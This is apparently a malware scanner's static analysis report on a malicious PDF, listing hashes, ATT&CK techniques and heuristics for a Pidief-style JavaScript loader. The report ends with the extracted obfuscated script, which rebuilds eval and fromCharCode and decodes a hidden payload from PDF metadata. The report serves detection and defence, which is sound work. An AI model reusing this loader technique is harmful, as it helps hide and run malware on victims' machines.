Malicious PDF — malware analysis report

Static analysis result for SHA-256 6ca8cded31297071…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2026-05-09
MD5: d7d663bad2c16860d8ce8ff61b4f3e78 SHA-1: f030e3110d152be2e57fd3ddcd55cbd309d6e487 SHA-256: 6ca8cded31297071267aff9d7d5d9bf1ee26eba4546d1afbf43f97f6f4c4c3f7
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by multiple heuristics as a loader. This script reconstructs a payload by decoding a character-code array and then executes it. The script's primary function is to download and execute a second-stage payload, likely leading to further system compromise. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0EF 413 bytes
SHA-256: 0d208983a6e3e85544f4ccc3feb7b8111b31de52d07024a20d5094ca94fef498
Preview script
First 1,000 lines of the extracted script
llofs='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
ewn=e('ti'+'tle');
s=ewn.substr(t.length + 8,3)+'str';
q=ewn[s](1,t.length + 7);
zuj=e(v[0].toUpperCase()+'tring.fro'+q);
q=ewn[s](t.length+12)[subject]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	pxloc = parseInt(q[i]) + parseInt(q[i+1]);
	llofs += zuj(pxloc);
}
e(llofs);

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